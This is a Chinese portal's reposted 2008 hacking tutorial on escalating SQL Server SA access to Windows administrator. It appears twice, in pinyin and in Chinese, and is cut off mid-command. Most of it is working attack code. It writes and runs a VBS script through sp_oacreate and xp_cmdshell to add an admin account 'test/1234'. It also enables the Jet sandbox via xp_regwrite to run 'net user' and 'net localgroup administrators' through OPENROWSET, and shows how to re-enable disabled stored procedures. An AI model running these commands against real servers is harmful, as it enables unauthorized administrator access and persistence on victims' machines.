| 订阅 | 在线投稿
分享
 
 
当前位置: 王朝网络 >> mssql >> Microsoft SQL Server SA权限最新入侵方法 Microsoft SQL Server SA quan xian zui xin ru qin fang fa
 

Microsoft SQL Server SA权限最新入侵方法

2008-07-30 06:50:46 编辑來源:互联网 繁體版 评论
 
 
本文为【Microsoft SQL Server SA权限最新入侵方法】的汉字拼音对照版显示拼音
  zaihuodeSAmimahouwangwangyinweifuwuqiguanlizhehuoqianrenjiangnet.exehenet1.exebeixianzhi使shiyongwufatianjiaguanliyuanzhanghaowomenzhidaoVBSzaihuodongmulu(ADSI)bufenyouyigewinntduixiangyonglaiguanlibendiziyuanliyongtakeyibuyikaoCMDdengminglingjiunengtianjiayigeguanliyuanjutidaimaruxia

  set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  os="WinNT://"&wsnetwork.ComputerName

  Set ob=GetObject(os) 'dedaoadsijiekou,bangding

  Set oe=GetObject(os&"/Administrators,group") 'shuxing,adminzu

  Set od=ob.Create("user","test") 'jianliyonghu

  od.SetPassword "1234" 'shezhimima

  od.SetInfo 'baocun

  Set of=GetObject(os&"/test",user) 'dedaoyonghu

  oe.add os&"/test"

  jiangshangmiandedaimabaocunwei1.vbsranhouzhixingminglingweicscript 1.vbszheyangjiuhuizaixitongtianjiayigexitongmingweitestmimawei1234deyonghujutizaichaxunfenxiqizhixingdedaimaruxia

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

  ("WSCRIPT.NETWORK")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

  ComputerName'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

  (os&"/Administrators,group")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

  ("user","test")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

  (os&"/test",user) '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

  zhixingwanshangmiandeyujuzaizhixingxiamianzhexingdaimazhexingdaimayidingdanduzhixingbuyaoyushangmiandefangzaiyiqizhixingfouzehuitishic:\1.vbszhengbeilingyigechengxuyunxingerwufachenggongtianjiayonghu

  exec master..xp_cmdshell 'cscript c:\1.vbs'

  ruguoxitongyonghumeiyoutianjiachenggongyoukenengshiyinweixitongyonghudemima1234detaijiandanbufuhefuwuqidefuduomimaceluekeyikaolvshezhidefuduoxieranhouzaiceshiyixiayekeyi使shiyongechojiangdaimaxiedao1.vbszhongdaimageshiwei

  exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  >>1.vbs'

  buguobuzhidaoweishenmesuoyoudai&zifudeminglingxingdouwufaxieru1.vbsganxingqudepengyoukeyichangshijiejueyixia

  使shiyongjetshapanmoshikeyijiejueXP_cmdshelldengcunchuguochenghexiangguandongtailianjiekudailaidefannaochuyuanquanyuanyinxitongmorenqingkuangxiashapanmoshiweikaiqizhejiuxuyaoxp_regwritekaiqishapanmoshi

  Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0

  \Engines','SandBoxMode','REG_DWORD',1

  ranhouzhixingshapanminglingzaixitongtianjiayigeyonghumingweitestmimawei1234deyonghu

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows

  \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows

  \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup

  administrators test /add")')

  butongdecaozuoxitonglujingyebuyiyangxuyaogenjuqingkuangzuoxiugai

  NT/2K: c:\winnt\system32\

  XP/2003: c:\windows\system32\

  lingwaiMicrosoft SQL Server2005zaimorenqingkuangxiayixiecunchuguochengshiguanbizhedexuyaominglingdakai

  kaiqiXP_cmdshell

  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

  'xp_cmdshell', 1;RECONFIGURE;

  kaiqi'OPENROWSET'

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ad Hoc Distributed Queries',1;RECONFIGURE;

  kaiqi'sp_oacreate':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp原文
 
 
 
 
上一篇《修改SQL Server 2005 sa用户密码的方法》
下一篇《SQL Server数据库sa密码相关问题的解决方法》
 
 
 
 
 
 
 
 
 
日版宠物情人插曲《Winding Road》歌词

日版宠物情人2017的插曲,很带节奏感,日语的,女生唱的。 最后听见是在第8集的时候女主手割伤了,然后男主用嘴帮她吸了一下,插曲就出来了。 歌手:Def...

兄弟共妻,我成了他们夜里的美食

老钟家的两个儿子很特别,就是跟其他的人不太一样,魔一般的执着。兄弟俩都到了要结婚的年龄了,不管自家老爹怎么磨破嘴皮子,兄弟俩说不娶就不娶,老父母为兄弟两操碎了心...

如何磨出破洞牛仔裤?牛仔裤怎么剪破洞?

把牛仔裤磨出有线的破洞 1、具体工具就是磨脚石,下面垫一个硬物,然后用磨脚石一直磨一直磨,到把那块磨薄了,用手撕开就好了。出来的洞啊很自然的。需要猫须的话调几...

我就是扫描下图得到了敬业福和爱国福

先来看下敬业福和爱国福 今年春节,支付宝再次推出了“五福红包”活动,表示要“把欠大家的敬业福都还给大家”。 今天该活动正式启动,和去年一样,需要收集“五福”...

冰箱异味产生的原因和臭味去除的方法

有时候我们打开冰箱就会闻到一股异味,冰箱里的这种异味是因为一些物质发出的气味的混合体,闻起来让人恶心。 产生这些异味的主要原因有以下几点。 1、很多人有这种习...

 
 
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下: set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") '属性,admin组 Set od=ob.Create("user","test") '建立用户 od.SetPassword "1234" '设置密码 od.SetInfo '保存 Set of=GetObject(os&"/test",user) '得到用户 oe.add os&"/test" 将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下: declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject ("WSCRIPT.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject (os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create ("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject (os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"' 执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\1.vbs正被另一个程序运行”而无法成功添加用户: exec master..xp_cmdshell 'cscript c:\1.vbs' 如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为: exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") >>1.vbs' 不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。 使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式: Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1 然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户: select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")') 不同的操作系统,路径也不一样,需要根据情况做修改: NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\ 另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开: 开启XP_cmdshell: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 开启'OPENROWSET': exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; 开启'sp_oacreate': exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp
󰈣󰈤
  免责声明:本文仅代表作者个人观点,与王朝网络无关。王朝网络登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述,其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
清纯漂亮的美女
甜美的佳人
都市丽人写真
郊外美女 春色怡人
夕阳无限好--明天有早晨
雪,还是雪
hk夏日
日暮陆家嘴
 
>>返回首页<<
 为你推荐
 
 
 转载本文
 UBB代码 HTML代码
复制到剪贴板...
 
 热帖排行
 
 
 
 
©2005- 王朝网络 版权所有